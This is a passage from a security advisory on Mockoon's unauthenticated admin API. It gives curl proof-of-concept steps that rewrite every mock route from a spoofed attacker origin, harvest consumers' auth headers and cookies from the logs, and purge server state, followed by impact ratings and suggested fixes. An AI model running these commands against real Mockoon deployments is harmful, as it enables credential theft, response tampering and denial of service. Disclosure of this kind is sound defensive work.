Advisory

GHSA-rqx4-3f6q-3x2v

Details, part 2 of 2. The advisory

Details

5) Rewrite every mock route via unauth PUT /environment

$ curl -s -X PUT http://127.0.0.1:3100/mockoon-admin/environment \
    -H "Origin: https://attacker.evil" \
    -H "Content-Type: application/json" \
    -d '{ ...full env JSON with route response rewritten to body "ATTACKER_PWNED",
          statusCode 418, header X-Pwned: by-attacker.evil... }'
{"message":"Environment updated"}

$ curl -s -i http://127.0.0.1:3100/users/99
HTTP/1.1 418 I'm a Teapot
X-Pwned: by-attacker.evil
Content-Type: application/json
{"id":"99","name":"ATTACKER_PWNED","role":"admin","backdoor":true}

6) Read transaction logs / SSE stream → harvest consumer's auth headers

$ curl -s http://127.0.0.1:3100/mockoon-admin/logs?limit=2

Each log entry includes consumer's request.headers (Authorization / Cookie / X-API-Key), request.body, request.urlPath, and the response served back — continuous info-disclosure of every API call the legitimate consumer makes against the mock. GET /mockoon-admin/events streams the same data live via SSE.

7) Purge state (DoS)

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/state/purge
{"response":"Server has been reset to its initial state"}

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Impact

In typical local-dev mode (CVSS 8.8 High):

  • Secret read of every MOCKOON_* env var (API keys, JWT signing keys, OAuth client secrets).
  • Secret write to any process.env key — poison operator's secrets, swap AWS/SDK creds.
  • Runtime rewrite of every mock route's body / status / headers → downstream consumer ingests attacker-controlled data + headers (Set-Cookie, Location, CSP).
  • Auth-token harvesting via transaction logs / SSE stream.
  • State purge / DoS.

In network-exposed deployment (CVSS 9.4 Critical):

  • All of the above without user interaction. The serverless wrapper hardcodes enableAdminApi: true; mockoon/cli Docker image inherits the same default and is commonly deployed in shared CI / staging environments.

---

Suggested fix

  1. Require explicit authentication on the admin API by default. Print an auto-generated bearer token on CLI startup (Jupyter-style), keyed off MOCKOON_ADMIN_TOKEN env var, compared with crypto.timingSafeEqual.
  2. Stop sending Access-Control-Allow-Origin: * on admin endpoints. Default: no CORS at all (browser will block cross-origin reads). Operators who run a separate admin UI on another origin can opt-in with --admin-api-origin.
  3. Bind the admin API to loopback by default, on a separate port or behind a remote-address check.
  4. Add a prefix check on the setEnvVarHandler matching the prepend behavior on the GET handler — reject any key that doesn't start with envVarsPrefix.
  5. Add SECURITY.md with disclosure instructions.
  6. Ship @mockoon/serverless and mockoon/cli Docker image with enableAdminApi: false by default; opt-in via flag.

Sources & licences